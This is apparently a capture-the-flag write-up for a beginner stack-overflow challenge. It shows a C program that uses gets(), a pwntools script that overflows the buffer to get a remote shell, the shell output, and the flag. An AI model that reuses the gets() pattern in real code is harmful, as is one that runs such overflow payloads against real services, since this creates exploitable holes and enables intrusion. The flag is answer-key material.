# Overflow 1 (125 points)
## Description
ez overflow.
nc cyberyoddha.baycyber.net 10001
## Solution
Here is the file we were given.
```cint main(void) {  char str[] = "AAAA";  char buf[16];
  gets(buf);   if (!(str[0] == 'A' && str[1] == 'A' && str[2] == 'A' && str[3] == 'A')){    system("/bin/sh");  }}```
Buffer is defined as 16, so let's write small python script using pwntools.
```pythonfrom pwn import *
payload = "A"*16
s = remote("cyberyoddha.baycyber.net", 10001)s.sendline(payload)s.interactive()``````shell$ python overflow1.py[+] Opening connection to cyberyoddha.baycyber.net on port 10001: Done[*] Switching to interactive mode$ lsflag.txtoverflow1$ cat flag.txtCYCTF{st@ck_0v3rfl0ws_@r3_3z}```
This task can be done easier: just enter 16 A using nc and get the flag
Flag: CYCTF{st@ck_0v3rfl0ws_@r3_3z}